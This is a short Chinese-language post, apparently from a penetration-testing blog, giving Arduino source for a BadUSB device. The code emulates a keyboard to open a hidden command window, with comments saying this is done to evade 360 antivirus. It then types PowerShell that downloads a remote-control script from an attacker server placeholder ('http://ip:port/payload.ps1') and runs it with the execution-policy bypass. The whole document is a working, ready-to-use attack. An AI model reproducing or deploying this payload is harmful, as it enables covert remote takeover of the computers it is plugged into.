[渗透思路] 简单Badusb制作

#include<Keyboard.h>
void setup() {
 //只执行一次的函数
 //开始运行
Keyboard.begin();//开始键盘通讯 
delay(3000);//延时3s 
Keyboard.press(KEY_LEFT_GUI);//按下win键
delay(500);
Keyboard.press('r');//r键
delay(500); 
Keyboard.release(KEY_LEFT_GUI);//松开win键
Keyboard.release('r'); //松开r键
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);//按下键盘
delay(500);
Keyboard.println("CMD  /q /d /f:off /v:on /k MODE con: cols=15 lines=1");  //无回显/q(关闭cmd窗口的回显)，/d(禁止从注册表执行AutoRun命令)，/f:off (禁用文件和目录完成字符)，/v:on(使用！作为分隔符，启用延迟的环境变量)，MODE con: cols=15 lines=1 (调整行数和列数)    ps：开cmd命令窗口为了绕过360检测
//Keyboard.println("cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1"");   //有回显
delay(500);
Keyboard.press(KEY_RETURN); //回车
Keyboard.release(KEY_RETURN); 
delay(2000);
Keyboard.println("powershelln");
Keyboard.println("$control = new-object system.net.webclient;n");//远程连接命令
Keyboard.println("$url= 'http://ip:port/payload.ps1';n");  //远程服务器ps1远控地址
Keyboard.println("$file = 'E:\xxxxxx.ps1';n");      //下载到目标存放文件的地址
Keyboard.println("$control.downloadfile($url,$file)n");  //利用分段执行绕过防火墙
Keyboard.println("powershell.exe -executionpolicy bypass -file E:\xxxxxx.ps1"); //利用powershell的bypass策略执行脚本
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK); 
Keyboard.release(KEY_CAPS_LOCK);//恢复小写状态
Keyboard.end();//结束键盘通讯 
}
 
void loop() {
 //loop函数是会一直重复执行的函数，baduse会检测此函数，所以需要存在，。
}